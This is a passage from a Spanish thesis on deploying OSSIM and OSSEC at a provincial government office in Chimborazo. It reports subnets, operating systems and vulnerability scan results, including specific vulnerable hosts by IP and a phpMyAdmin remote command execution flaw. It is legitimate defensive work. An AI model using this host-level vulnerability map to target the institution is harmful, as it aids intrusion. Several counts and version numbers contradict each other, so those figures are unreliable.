OSSIM tiene la opción de enviar un correo electrónico con una alerta definida por el administrador el evento siempre cumplirá con los requerimientos de una política que debe crearse previamente. Existen dos tipos de eventos que generan alertas eventos normales y eventos de directivas las primeras generadas por fuentes de datos externos y las segundas por el servidor OSSIM la cual se escogió para el presente trabajo. Para esto el sistema necesita los siguientes requerimientos: crear una nueva política que es un conjunto de reglas definidas por el usuario para especificar el comportamiento de los eventos, escoger o crear un DS group que es el tipo de evento que detonara la alarma y por último la acción que se ejecutara tras ocurrir dicho evento.
Lo primero que se hizo es ir a la interfaz web del servidor y vamos a la opción de Configuración > inteligencia de amenaza aquí existen dos ventanas elegimos la ventana “Políticas para eventos generados en el servidor: AlienVault”. 

[image: ]
[bookmark: _Toc434439812]Figura  35-2 Creando nueva política de eventos generado en el servidor
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

Clic en nuevo para crear una nueva política e introducir un nombre. Luego, fuimos a tipo de evento (DS Group) y las consecuencias. Seleccionamos uno o más Grupo DS o insertar una nueva si todavía no se ha creado.

[image: ]
[bookmark: _Toc434439813]Figura  36-2 Seleccionando la directiva de la política
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

Dimos clic en "Acciones" e insertar una nueva acción luego hicimos clic en insertar nueva acción, por ultimo llenamos los campos vacíos y guardamos la configuración. 

[image: ]
[bookmark: _Toc434439814]Figura  37-2 Creando la acción para enviar mail instantáneo
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

Luego dimos clic en actualizar política y recargar política esto añadirá lo política creada una vez recargada los mails serán enviados automáticamente

[image: ]
[bookmark: _Toc434439815]Figura  38-2 Recargando la política para que se active
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015
[bookmark: _Toc434438442]Instalación de OSSEC en el servidor Web y DNS

Como ya se había hablado en el capítulo anterior OSSEC es un sistema de detección de intrusiones basado en host, la utilización de esta herramienta fue importante en el proyecto ya que fue desplegada en los servidores web y DNS 

[bookmark: _Toc434438443]Prerrequisitos

El cliente OSSEC requerirá de la creación de ciertos archivos en el código fuente del sistema en el que se vaya a instalar, algunos sistemas Linux tienen deshabilitados algunas herramientas de compilación aun así es posible construir estos archivos pasar a este directorio y así poder realizar la instalación; es por eso que se procedió primero a la creación de estos archivo en el servidor cabe recalcar que este proceso es igual para los dos servidores por lo que lo presentamos una sola vez. Se ingresó por ssh al servidor con credenciales de root y se introdujo el siguiente comando:
sudo yum groupinstall "Development Tools" -y &&  sudo yum install kernel-devel –y

[image: ]
[bookmark: _Toc434439816]Figura  39-2 Descarga e instalación de los prerrequisitos para instalar OSSEC
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015
[bookmark: _Toc434438444]Descarga de OSSEC 2.8.2

Luego que los prerrequisitos se instalaron se procedió a la descarga de la herramienta OSSEC 2.8.2 (última versión) para es primero accedimos al directorio src con el comando: cd /usr/src ya que ahí se debe descargar los paquetes. Una vez estando ahí se introdujo el comando: wget –U ossec http://www.ossec.net/files/ossec-hids-2.8.1.tar.gz para empezar la descarga

[image: ]
[bookmark: _Toc434439817]Figura  40-2 Descarga de OSSEC HIDS 2.8.2
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

Luego que se haya descargado OS
SEC se descomprimió los paquetes para su posterior instalación para eso se aplicó el comando: tar –xzvf ossec-hids-2.8.1.tar.gz

[image: ]
[bookmark: _Toc434439818]Figura  41-2 Descomprimiendo los paquetes OSSEC-HIDS 2.8.2  
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015
[bookmark: _Toc434438445]Instalación y configuración de OSSEC HIDS 2.8.2
Ya teniendo la herramienta lista se instaló ahí se despliega un menú donde se configuro previamente a OSSEC la figura 43-2 se detalla todos los parámetros que deben ser ingresados para una correcta instalación de nuestro HIDS.
[image: C:\Users\ANDRES\Desktop\ossim 5.1\instalacion de ossec 6.jpg]
[bookmark: _Toc434439819]Figura  42-2 Instalación y configuración de OSECC en el servidor web
                    Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

Luego de finalizar con la configuración previa la herramienta comenzó a instalarse sin ninguna novedad como se muestra en la figura 44-2 culminando así el proceso.
[image: C:\Users\ANDRES\Desktop\ossim 5.1\instalacion ossec 17.jpg]
[bookmark: _Toc434439820]         Figura  43-2 Proceso de instalación de OSECC-HIDS en el servidor web
             Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

[bookmark: _Toc434438446]Conexión con el servidor OSSIM 

Una vez que fue desplegado el agente OSSEC en los servidores fue necesario conectarlo con nuestro servidor OSSIM para eso en la interface web cliqueamos en entorno, detección, nuevo ahí creamos el agente del servidor

[image: C:\Users\ANDRES\Desktop\ossim ordenado\instalacion de ossec 8.jpg]
[bookmark: _Toc434439821]Figura  44-2 Creación del nuevo agente HIDS en el servidor OSSIM
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015


[bookmark: _Toc434438447]Validación de llaves y autenticación de OSSEC

Una vez se creó el agente HIDS en el servidor se generó una llaves o contraseña de autenticación
Para mostrar dicha llave cliqueamos en el icono de llaves que está en el agente que creamos.

[image: C:\Users\ANDRES\Desktop\ossim ordenado\instalacion de ossec 9.jpg]
[bookmark: _Toc434439822]Figura  45-2 Creación de las llaves de seguridad del agente OSSEC-HIDS
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

Copiamos la llave generada anteriormente y accedemos al servidor desplegamos OSSEC y pegamos la llave para validar tanto el agente cliente (servidor web, dns) y el agente servidor (OSSIM) así ambos quedaron vinculados y listos para el envío y recepción de datos

[image: C:\Users\ANDRES\Desktop\ossim 5.1\instalacion de ossec 11.jpg]
[bookmark: _Toc434439823]                      Figura  46-2 Autenticación de las llaves de OSSEC-HIDS en el servidor
                              Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015


[bookmark: _Toc434438448]Verificación del estado de los agentes

A continuación se verificó el estado de los agentes instalados para eso hicimos clic entorno, detección y luego en HIDS donde se ve que la información va llegando correctamente por los avisos en color verde.

[image: C:\Users\ANDRES\Desktop\ossim ordenado\instalacion de ossec 13.jpg]
[bookmark: _Toc434439824]Figura  47-2 Verificación de recolección de los de los servidores
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015	

También se verifico si los agentes de los servidores están correctamente instalados y activados para eso vemos en entorno, detección, agentes, y vemos que tanto los HIDS del servidor Web y DNS están activados.

[image: C:\Users\ANDRES\Desktop\ossim ordenado\instalacion de ossec 18.jpg]
[bookmark: _Toc434439825]Figura  48-2 Activación correcta OSSEC-HIDS en los servidores web y DNS
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015









[bookmark: _Toc430022488][bookmark: _Toc434438449]CAPITULO III


3 [bookmark: _Toc434438450]Marco de resultados y análisis 

Una vez que se instaló el sistema se recogió datos que este arrojo durante 31 días desde el 1 de julio de 2015 al 31 del mismo mes, los meses siguientes se continuó observando el comportamiento del sistema.

[bookmark: _Toc434438451]Resultados del escaneo previo de la red 

Aplicando la herramienta ya mencionada en el capítulo II en el punto 2.1 se escaneó la red del GAD de la provincia de Chimborazo para conocer como está estructurada y cuáles son los activos que esta entidad pública posee a continuación se detalla los resultados obtenidos.

[bookmark: _Toc434438452]Activos de red encontrados en el escaneo previo

Se detectaron 11 redes en el edificio del GAD de la Provincia de Chimborazo:
· 192.168.0.0/24
· 192.168.1.0/24
· 192.168.2.0/24
· 192.168.3.0/24
· 192.168.4.0/24
· 192.168.5.0/24
· 192.168.6.0/24
· 192.168.7.0/24
· 192.168.8.0/24
· 192.168.9.0/24
· 192.168.10.0/24

Además de esto se conoció por el escaneo que existen alrededor de 234 activos distribuidos entre las 11 redes.





[bookmark: _Toc433582538]                                            Tabla   1-3 Resultados del escaneo,
              número de activos por red
	NUMERO DE ACTIVOS POR REDES

	REDES
	ACTIVOS

	192.168.0.0
	19

	192.168.1.0
	1

	192.168.2.0
	23

	192.168.3.0
	18

	192.168.4.0
	17

	192.168.5.0
	32

	192.168.6.0
	19

	192.168.7.0
	37

	192.168.8.0
	40

	192.168.9.0
	8

	192.168.10.0
	20

	TOTAL
	234


                                                             Realizado por: MORALES, Ramiro; GUERRERO, Carlos, 2015

A continuación en el grafico 1-3 se muestra la distribución de los activos en las 11 redes de acuerdo al escaneo previo que se realizó previamente


[bookmark: _Toc429575212][bookmark: _Toc433582692]   Figura   1-3 Gráfico de pastel, número de activos por red
    Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015


Como podemos observar la red 192.168.8.0 es la que más activos de red posee 40 que representa el 17% del total de activos la que le sigue es la red 192.168.7.0 con 37 activos lo que representa el 16% del total de activos y en tercer lugar la red 192.168.5.0 con 32 activo lo que representa el 14%, cabe resaltar que todas las redes son importantes para el desempeño normal de esta institución pero según el escaneo que se realizó la red 192.168.0.0 es sin duda la más impórtate se llegó a esta conclusión debido a que aquí es donde se encuentran la mayoría de servidores además en la red 192.168.1.0 se encuentra el firewall Checkpoint. Las demás redes pertenecen a los distintos departamentos de la institución. 

[bookmark: _Toc434438453]Tipos de sistemas operativos existentes en la red

En el escaneo realizado se encontró que en la red del edificio del GAD de la Provincia de Chimborazo existen al rededor  23 sistemas operativos instalados en los activos de la institución en los que destacan Windows 8.1 por ser el de mayor presencia en el 45% de equipos, seguido de
Sistemas Linux con un 12% y en tercer lugar Windows 10 con 9%. El resto de activos poseen otros sistemas operativos entre productos licenciados y de software libre, entre estos activos se encuentra switches Cisco en su mayoría y en menor número switches 3com y Tplink, además de impresoras Samsung y Xerox, y otros activos como servidores Linux
Teléfonos ip, cámaras ip, etc.
[bookmark: _Toc433582539]               Tabla   2-3 Lista de los sistemas operativos presentes
	LISTA DE SISTEMAS OPERATIVOS

	
	

	SISTEMAS OPERATIVOS
	NUMERO

	Linux
	27

	Open BSD
	2

	Unix
	1

	Ossim
	1

	Win XP
	13

	Win 7
	3

	Win vista
	2

	Win 2008
	4

	Win 8.1
	106

	Win 10
	22

	Cisco
	11

	Samsung
	14

	Xerox
	3

	Konica
	2

	Tplink
	2

	Hp
	2

	3com
	4

	Intel
	1

	Tibbo
	1

	Apple
	3

	Vx work
	5

	Dell
	1

	Otro
	4

	total
	234


                     Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015
A continuación se muestra un gráfico en donde se muestra una comparación entre la cantidad de sistemas operativos existente en la institución. 


[bookmark: _Toc429575213][bookmark: _Toc433582693]            Figura   2-3 Cuadro de comparación entre la cantidad de sistemas operativos
                 Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

[bookmark: _Toc434438454]Determinar vulnerabilidades y riesgos en la red

Luego del escaneo previo y de la implementación del sistema que se realizó se logró detecta varias vulnerabilidades que sumado a las amenazas que siempre existirán hacia una red hacen que los riesgos que pueda sufrir la institución logren ocasionar impactos negativos sobre esta.
El escaneo que se realizó antes de la implementación del sistema arrojo datos como los tipos de puertos abiertos y sistemas operativos obsoletos en los distintos activos de la red. Luego implementado el sistema OSSIM se puedo detectar muchos más activos presentes en la red alrededor de 414 y además se realizó un escaneo completo de vulnerabilidades a los servidores y a toda red.

[bookmark: _Toc434438455]Análisis de puertos y sistemas operativos 

[bookmark: _Toc434438456]Puertos

Se analizó los puertos de los activos de red para saber cuáles de estos están abiertos, esto es importante ya que por aquí los atacantes pueden tener acceso fácil a la red lo cual podría ser perjudicial para los interese de la red. En este escaneo se encontraron varios puertos abiertos de manera innecesaria y lo más riesgoso se encontró puertos desconocidos abiertos. En la siguiente tabla se muestra el porcentaje de puertos abiertos en los activos de las distintas redes.
[bookmark: _Toc433582540]Tabla   3-3 Tabla de puertos desconocidos abiertos en los activos de la red
	
REDES
	
NUMERO DE ACTIVOS
	
PROMEDIO DE PUERTOS ABIERTOS
	PORCENTAJE DE PUERTOS DESCONOCIDOS ABIERTOS

	Red 0
	10
	12
	0%

	Red 1
	0
	0
	0%

	Red 2
	7
	10
	50%

	Red 3
	16
	10
	50%

	Red 4
	6
	9
	40%

	Red 5
	18
	10
	50%

	Red 6
	14
	12
	60%

	Red 7
	29
	11
	50%

	Red 8
	30
	12
	60%

	Red 9
	1
	13
	6 puertos

	Red 10
	12
	12
	60%


Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

[bookmark: _Toc434438457]Sistemas operativos

Conocido ya los activos de la red se pude verificar que en algunos de estos aún está instalado el sistema operativo Windows XP. Este sistema operativo ha perdurado más que cualquiera de los sistemas de Microsoft, según el portal xatakawindows.com, 14 años han pasado desde su lanzamiento en 2001 e incluso ha logrado relegar a sistemas posteriores de Microsoft como el Vista. Con tantos años a cuestas XP ha terminado su ciclo de vida, algunos usuarios siguen utilizándolo demostrando así una longevidad extraordinaria y conservando casi un 30% de cuota de mercado según los expertos.
En su mejor momento Windows XP llegó a ser usado por más del 80% de usuarios de ordenadores personales. Esta cifra es tan alta que es poco probable que otro sistema operativo llegue a ser tal utilizad. Sin embargo Microsoft decidió no más dar soporte a un sistema que se ha ganado su fama con creces durante su larga vida. Es por eso que esta falta de soporte por parte de sus creadores hace que este sistema sea muy vulnerable y hace que la red tenga riesgos muy altos de sufrir ataques a su integridad. Los problemas que presenta este sistema son:

Ya no hay más actualizaciones, que periódicamente, Microsoft lanzaba para Windows XP estas solventaban problemas y bugs de este sistema operativo; es decir sin estos parches no se podrá reparar agujeros de seguridad y/o errores en el sistema. Los bugs y las vulnerabilidades pueden ser explotadas por terceros y, por tanto, no contar con soporte hace que la plataforma sea mucho más vulnerable a ataques. Sí, se mantiene la herramienta de eliminación de malware pero los bugs seguirán estando y no se van a reparar así que, al final, el riesgo se sigue manteniendo en vez de mitigarse. Windows XP tiene más de 14 años tiempo suficiente para que los desarrolladores hayan encontrado errores y bugs que Microsoft no haya podido resolver además habido tiempo suficiente para desarrollar sistemas más seguros como Windows 8, 8.1 y 10. No solo Microsoft dejó de dar soporte a XP sino también los desarrolladores de aplicaciones es por eso que ya no se podrá utilizar antivirus, navegadores, clientes de email lo que hace al activo vulnerable y deja al usuario estancado. El navegador Chrome tampoco da soporte a XP por lo que nos hace muy vulnerables alguien podría explotar estas vulnerabilidades y acceder a nuestro sistema
El hardware es otro problema ya que ya no habrá driver que soporte XP por todos estos puntos expuestos es necesario que este sistema sea remplazado definitivamente.

[bookmark: _Toc434438458]Inventario de los activos encontrados con OSSIM

Esta vez se aplicó la OSSIM y la herramienta para encontrar activos y se escaneó la red del GAD de la provincia de Chimborazo para conocer como está estructurada y cuáles son los activos que esta entidad pública posee a continuación se detalla los resultados obtenidos.

[bookmark: _Toc434438459]Activos de red encontrados con OSSIM

Se detectaron 11 redes en el edificio del GAD de la Provincia de Chimborazo:
· 192.168.0.0/24
· 192.168.1.0/24
· 192.168.2.0/24
· 192.168.3.0/24
· 192.168.4.0/24
· 192.168.5.0/24
· 192.168.6.0/24
· 192.168.7.0/24
· 192.168.8.0/24
· 192.168.9.0/24
· 192.168.10.0/24
Además de esto se conoció por el escaneo que existen alrededor de 414 activos distribuidos entre las 11 redes

[bookmark: _Toc433582541]              Tabla   4-3 Activos por red encontrados con OSSIM
	NUMERO DE ACTIVOS POR REDES

	REDES
	ACTIVOS

	192.168.0.0
	18

	192.168.1.0
	2

	192.168.2.0
	36

	192.168.3.0
	26

	192.168.4.0
	30

	192.168.5.0
	50

	192.168.6.0
	28

	192.168.7.0
	55

	192.168.8.0
	54

	192.168.9.0
	50

	192.168.10.0
	63

	TOTAL
	412


                                                Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

A continuación en el grafico 3-3 se muestra la distribución de los activos en las 11 redes de acuerdo al escaneo con OSSIM


[bookmark: _Toc433582694]Figura   3-3 Gráfico de pastel, número de activos por red
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

Como podemos observar la red 192.168.10.0 es la que más activos de red posee 63 que representa el 15% del total de activos la que le sigue es la red 192.168.7.0 con 55 activos lo que representa el 13% del total de activos y en tercer lugar la red 192.168.8.0 con 54 activo lo que representa el 13%, cabe resaltar que todas las redes son importantes para el desempeño normal de esta institución pero como ya se dijo en el apartado 3.1.1 la red más importante es la 192.168.0.0 donde se encuentran la mayoría de servidores además  se encuentra el firewall Checkpoint. Las demás redes pertenecen a los distintos departamentos de la institución. 

[bookmark: _Toc434438460]Escaneo de vulnerabilidades con OSSIM

OSSIM posee un excelente escáner de vulnerabilidades lo que facilita encontra estas falencias en los activos y los muestra en informes detallados para que el administrador pueda tomar las acciones necesarias a fin de mitigar dichas fallas que pueden poner en riesgo la red de la institución

[bookmark: _Toc434438461]Escaneo de vulnerabilidades de los servidores

Instalado ya el sistema OSSIM y conocido todos los activos de la red lo primero que se hizo es realizar un escaneo de vulnerabilidades a los servidores web, mail y dns del GAD de Chimborazo y los resultados arrojados fueron los siguientes. 

[image: ]
[bookmark: _Toc429575214][bookmark: _Toc433582695]        Figura   4-3 Reporte de vulnerabilidades en los servidores
           Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

Como se observa en el gráfico se detectó 102 vulnerabilidades en los tres servidores de las cuales 84 son bajas y 11 son medias las cuales no representan un riesgo alto de comprometer los sistemas pero las vulnerabilidades altas y sobre todo las serias hay que tomarlas muy en cuenta es por eso que a continuación se describió dichas vulnerabilidades. En el servidor web se encontró una vulnerabilidad seria y tres altas:

[bookmark: _Toc433582542]Tabla   5-3 Descripción de la vulnerabilidad seria en el servidor web
	VULNERABILIDAD SERIA
	

	Nombre
	phpMyAdmin 'server_databases.php' Remote Command Execution Vulnerability

	Riesgo
	Serio

	Aplicación, Puerto, Protocolo
	http, 80, tcp

	Familia
	Abusos de aplicaciones Web

	Descripción
	Este problema es causado cuando el parámetro server_databases.php no es verificada apropiadamente antes de utilizarse.

	Impacto
	Una explotación exitosa permite la ejecución de comandos arbitrarios, y posiblemente comprometer la aplicación afectada.

	Nivel de impacto
	Aplicación 

	Solución
	Actualizar a phpMyAdmin 2.11.9.1 o el más reciente


Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

[bookmark: _Toc433582543]Tabla   6-3 Descripción de la primera vulnerabilidad alta en el servidor web
	VULNERABILIDAD ALTA
	

	Nombre
	phpMyAdmin BLOB Streaming Multiple Input Validation Vulnerabilities

	Riesgo
	Alto

	Aplicación, Puerto, Protocolo
	http, 80, tcp

	Familia
	Abusos de aplicaciones Web

	Descripción
	phpMyAdmin es propenso a múltiples vulnerabilidades de validación al ingresar, incluyendo una vulnerabilidad división de respuesta HTTP y un archivo-incluide  local que es vulnerable

	Impacto
	Estos problemas se pueden aprovechar para ver o ejecutar secuencias de comandos locales de su elección, o tergiversar contenido web, caché. Esto podría ayudar en diversos ataques que tratan de atraer a los usuarios en un falso sentido de confianza.

	Nivel de impacto
	Aplicación 

	Solución
	Actualizaciones de proveedores disponibles. Por favor, vea http://www.phpmyadmin.net para más


Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015







[bookmark: _Toc433582544]Tabla   7-3 Descripción de la segunda vulnerabilidad alta en el servidor web
	VULNERABILIDAD ALTA
	

	Nombre
	phpinfo.php

	Riesgo
	Alto

	Aplicación, Puerto, Protocolo
	http, 80, tcp

	Familia
	Abusos de aplicaciones Web

	Descripción
	Los siguientes archivos están llamando a la función phpinfo (), que revelar información potencialmente sensible al atacante de forma remota: /info.php

	Impacto
	Parte de la información que se desprende de este archivo incluye: El nombre de usuario del usuario que ha instalado php, si es un usuario SUDO, la dirección IP del host, el servidor web versión, la versión del sistema (Unix / Linux), y la raíz directorio del servidor web.

	Nivel de impacto
	Aplicación 

	Solución
	Eliminar o limitar el acceso a los archivos vulnerables


Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

[bookmark: _Toc433582545]Tabla   8-3 Descripción de la tercera vulnerabilidad alta en el servidor web
	VULNERABILIDAD ALTA
	

	Nombre
	TRACE XSS attack

	Riesgo
	Alto

	Aplicación, Puerto, Protocolo
	http, 80, tcp

	Familia
	Abusos de aplicaciones Web

	Descripción
	Funciones de test están habilitadas en el servidor HTTP remoto. El servidor web remoto es compatible con los métodos TRACE y / o TRACK. TRACE y TRACK son métodos HTTP que se utilizan para las conexiones del servidor de depuración web. Se ha demostrado que los servidores que apoyan este método están sujetos a ataques de cross-site scripting,, apodado XST cuando se utiliza junto con varias debilidades en los navegadores

	Impacto
	Un atacante puede utilizar esta vulnerabilidad para engañar a sus usuarios de la web legítimos que le diera sus credenciales

	Nivel de impacto
	Aplicación 

	Solución
	Añada las siguientes líneas para cada host virtual en el archivo de configuración:
RewriteEngine on
RewriteCond% {REQUEST_METHOD} ^ (TRACE | TRACK). RewriteRule * - [F]                                                                
http://httpd.apache.org/docs/current/de/mod/core.html#traceenable. También puede deshabilitar estos métodos.


Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015




En seguida se describe las tres vulnerabilidades altas que se hallaron en el servidor mail uno de los activos más importantes de la institución. 

[bookmark: _Toc433582546]Tabla   9-3 Descripción de la primera vulnerabilidad en el servidor mail	
	VULNERABILIDAD ALTA
	

	Nombre
	httpOnly Cookie Attribute

	Riesgo
	Alto

	Aplicación, Puerto, Protocolo
	https, 442, tcp

	Familia
	Abusos de aplicaciones Web

	Descripción
	Error en cookie: Set-Cookie: ZM_TEST = true; Asegure,
falta el atributo HTTPOnly. 
El fallo se debe a un cookie que no está utilizando el atributo 'HTTPOnly'.

	Impacto
	Esto permite una cookie que se accede por JavaScript  poder realizar ataques de secuestro de sesión

	Nivel de impacto
	Aplicación 

	Solución
	Establezca el atributo 'HTTPOnly "para las cookies de sesión. Vulnerabilidad Método de detección: Revise todas las cookies enviadas por la solicitud de un atributo perdido 'HTTPOnly'


Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

[bookmark: _Toc433582547]Tabla   10-3 Descripción de la segunda vulnerabilidad en el servidor mail
	VULNERABILIDAD ALTA
	

	Nombre
	httpOnly Cookie Attribute

	Riesgo
	Alto

	Aplicación, Puerto, Protocolo
	http-proxy, 8080, tcp

	Familia
	Abusos de aplicaciones Web

	Descripción
	Error en cookie: Set-Cookie: ZM_TEST = true; Asegure,
falta el atributo HTTPOnly. 
El fallo se debe a un cookie que no está utilizando el atributo 'HTTPOnly'.

	Impacto
	Esto permite una cookie que se accede por JavaScript  poder realizar ataques de secuestro de sesión

	Nivel de impacto
	Aplicación 

	Solución
	Establezca el atributo 'HTTPOnly "para las cookies de sesión. Vulnerabilidad Método de detección: Revise todas las cookies enviadas por la solicitud de un atributo perdido 'HTTPOnly'


Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015


[bookmark: _Toc433582548]Tabla   11-3 Descripción de la tercera vulnerabilidad en el servidor mail
	VULNERABILIDAD ALTA
	

	Nombre
	httpOnly Cookie Attribute

	Riesgo
	Alto

	Aplicación, Puerto, Protocolo
	http-alt, 8443, tcp

	Familia
	Abusos de aplicaciones Web

	Descripción
	Error en cookie: Set-Cookie: ZM_TEST = true; Asegure,
falta el atributo HTTPOnly. 
El fallo se debe a un cookie que no está utilizando el atributo 'HTTPOnly'.

	Impacto
	Esto permite una cookie que se accede por JavaScript  poder realizar ataques de secuestro de sesión

	Nivel de impacto
	Aplicación 

	Solución
	Establezca el atributo 'HTTPOnly "para las cookies de sesión. Vulnerabilidad Método de detección: Revise todas las cookies enviadas por la solicitud de un atributo perdido 'HTTPOnly'


Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

Es necesario corregir estas vulnerabilidades ya que un ataque a los servidores es un riesgo muy alto ya que puede comprometer el correcto y normal funcionamiento de la institución lo que decaería en pérdidas de información importante daños de los servidores y por ende pérdidas económicas las soluciones con se muestran en las descripciones son fáciles de implementar pero efectivas para evitar cualquier evento de seguridad que comprometa los activos de la red.

[bookmark: _Toc434438462]Escaneo de las vulnerabilidades de la red

El sistema es capaz de detectar las vulnerabilidades de toda la red del edifico del GAD de la provincia de Chimborazo y se generó un informe muy detallado de cada activo de esta dado que estos informes fueron muy extensos para el presente proyecto se mostró el informe genera y una descripción de este. El objetivo de conocer las vulnerabilidades de todas las redes que existen 11 en este caso se realizó para conocer que eventos de seguridad pueden ser más frecuentes y pongan en riesgo el funcionamiento normal de la institución. La primera en someterse al escaneo de vulnerabilidades fue la red 0 en la que se encuentran los tres servidores que se habló en el apartado anterior, además está el firewall Chekpoint y un activo llamado intranet que es usado para el registro de empleados de la institución, Los datos encontrado en los 19 activos de la red 0 fueron: 
· Red 0

16 vulnerabilidades serias, 74 de tipo altas, 119 medias y 863 baja. En el grafico 5-3 se muestra el informe general que emitió OSSIM Alien Vault.

[image: ]
[bookmark: _Toc429575215][bookmark: _Toc433582696] Figura   5-3 Informe de vulnerabilidades de la red 0
  Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

· Red 1
Al momento que se realizó el escaneo no se encontró ningún activo en la red 192.168.1.0

· Red 2
En la red 192.168.2.0 se registró 7 vulnerabilidades serias y 39 altas en 18 sistemas o activos siendo el activo con la ip 192.168.2.6 la que más vulnerabilidades presentó con 18 altas este activo es una computadora con sistema operativo Windows 7 y el activo con la ip 192.168.2.69 presentó 4 vulnerabilidades serias este corresponde a una computadora con Windows 7 también.

[image: ]
[bookmark: _Toc433582697]        Figura   6-3 Informe de vulnerabilidades de la Red 2
           Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015
· Red 3

En la red 192.168.3.0 se encontró 8 vulnerabilidades serias en 7 activos y 2 altas en todos los activos de la red menos en 4 

[image: ]
[bookmark: _Toc433582698]        Figura   7-3 Informe de vulnerabilidades de la red 3
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

· Red 4, 5, 6, 7

En la red 192.168.4.0 encontraron 18 equipos que presentaron vulnerabilidades de los cuales únicamente la ip 192.168.4.24 el cual es un Windows XP arrojó 2 vulnerabilidades serias las cuales deberían ser mitigadas inmediatamente, y en otros 7 equipos se presentaron vulnerabilidades altas.

[image: ]
[bookmark: _Toc433582699]Figura   8-3 Informe de vulnerabilidades de las redes 4,5
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015
En la red 192.168.5.0 se encontraron vulnerabilidades en 30 dispositivos de los cuales ninguna fue seria pero si se encontraron en 17 de los dispositivos dos vulnerabilidades serias en cada uno
Y en uno dispositivo tan solo una.

En la red 192.168.6.0 se halló 26 dispositivos que presentaron vulnerabilidades en 6 de ellos se presentaron 7 serias y en 14 equipos se presentaron 29 vulnerabilidades altas y en un equipo con ip 192.168.6.25 y sistema operativo Windows 7 se presentó 4 vulnerabilidades altas

[image: ]
[bookmark: _Toc433582700]Figura   9-3 Informe de vulnerabilidades de las redes 5, 6
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015
En la red 192.168.7.0 se encontraron vulnerabilidades en 38 activos de los cuales 3 presentaron una vulnerabilidad seria en cada uno y en 20 dispositivos se encontraron 40 de vulnerabilidades altas.

[image: ]
[bookmark: _Toc433582701]Figura   10-3 Informe de vulnerabilidades de red 7
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

· Red 8, 9, 10 

En red 192.168.8.0 se registró 29 equipos con vulnerabilidades de las cuales y solo 3 presentaron una vulnerabilidad seria en cada uno mientras tanto en 21 activos se encontraron 42 vulnerabilidades altas

En la red 192.168.9.0 se registraron 6 equipos con vulnerabilidades ninguna seria y uno con dos altas. En la red 192.168.10.0 se registró 10 equipos con 11 vulnerabilidades serias, mientras tanto en 15 activos se encontraron 30 vulnerabilidades altas
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[bookmark: _Toc433582702]Figura   11-3 Informe de vulnerabilidades de las redes 10, 8
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

[image: ]
[bookmark: _Toc433582703]Figura   12-3 Informe de vulnerabilidades de las redes 8,9
Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

A continuación se muestra una tabla en donde se puede observar todas las vulnerabilidades que presentó cada una de las redes siendo las vulnerabilidades serias y las altas de suma importancia, y deberán ser corregidas por el administrador inmediatamente ya que representan un peligro potencial a la integridad de la red y a la información que por esta pasa. Por otro lado las vulnerabilidades medias y bajas se las considera poco importantes, incluso las bajas se podrían considerar como descartables, no obstante el administrador deberías prestar atención y hacer que estas vulnerabilidades tiendan a ser menos cada vez.

[bookmark: _Toc433582549]Tabla   12-3 Resumen de vulnerabilidades de la red	
	REDES
	VULNERABILIDADES

	
	SERIAS
	ALTAS
	MEDIAS
	BAJAS

	192.168.0.0/24
	16
	74
	119
	863

	192.168.1.0/24
	-
	-
	-
	-

	192.168.2.0/24
	7
	39
	23
	282

	192.168.3.0/24
	8
	34
	18
	301

	192.168.4.0/24
	2
	14
	9
	193

	192.168.5.0/24
	0
	35
	25
	346

	192.168.6.0/24
	7
	29
	16
	307

	192.168.7.0/24
	4
	40
	24
	389

	192.168.8.0/24
	3
	42
	24
	371

	192.168.9.0/24
	0
	2
	4
	93

	192.168.10.0/24
	11
	30
	16
	302

	Total
	58
	339
	278
	3447


Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015
Como podemos observar en el escaneo que se realizó con OSSIM, en todas las redes se hallaron vulnerabilidades serias excepto en tres en la 192.168.1.0/24, 192.168.5.0/24 y en la 192.168.9.0/24 en las demás todas las redes presentaron vulnerabilidades altas, medias y bajas.


[bookmark: _Toc433582704]            Figura 13-3 Tipos de vulnerabilidades por red
                 Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015

En el siguiente gráfico se muestra el porcentaje de las vulnerabilidades´presentes en la red

[bookmark: _Toc433582705]            Figura   14-3 Total de vulnerabilidades presentes en la red
                 Fuente: MORALES, Ramiro; GUERRERO, Carlos, 2015


[bookmark: _Toc434438463]Funcionamiento del sistema

